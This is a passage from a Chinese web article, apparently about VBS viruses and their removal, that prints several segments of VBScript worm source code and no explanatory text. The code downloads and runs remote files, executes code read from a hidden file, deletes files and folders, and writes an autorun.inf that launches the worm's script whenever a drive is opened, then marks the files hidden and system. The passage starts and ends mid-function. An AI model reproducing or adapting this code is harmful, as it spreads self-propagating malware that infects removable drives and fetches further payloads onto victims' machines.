中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(16)

if vbsver<>ver or not fso.fileexists(dir&"/"&vbsname) then

advdownfile dir&"/"&vbsname,vbsfrom,vbsrun,3,2000

wscript.quit

end if

if downis=1 and sys then

if downame<>lexe or not fso.fileexists(exemulu&lexe) then

delfile exemulu&lexe

advdownfile exemulu&downame,downfrom,1,3,1000

end if

end if

end if

end if

end if

on error resume next

if sys then

if readtxt(mulu&infname,7)=1 then

execute(uc(readtxt(mulu&infname,9)))

end if

end if

end function

第三段：

function delfile(where)

if fso.fileexists(where) then

shuxing where,0

fso.deletefile(where)

end if

if fso.folderexists(where) then

shuxing where,0

fso.deletefolder(where)

end if

end function

第四段：

function buildfile(where,what)

delfile where

set bin = fso.createtextfile(where, true)

bin.writeline what

bin.close

shuxing where,2+4

end function

第五段：

function buildinf(exever,taskcode,tasksw,adv)

delfile mulu&infname

set ini = fso.createtextfile(mulu&infname, true)

ini.writeline tile

ini.writeline "[autorun]"

ini.writeline about

ini.writeline "open=wscript.exe ./"&filename&".vbs"

ini.writeline exever

ini.writeline "shell/open=打开(&o)"

ini.writeline taskcode

ini.writeline "shell/open/command=wscript.exe ./"&filename&".vbs"

ini.writeline tasksw

ini.writeline "shell/open/default=1"

ini.writeline adv

ini.close

shuxing mulu&infname,1+2+4

end function

第六段：

function readtxt(where,line)

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-16.html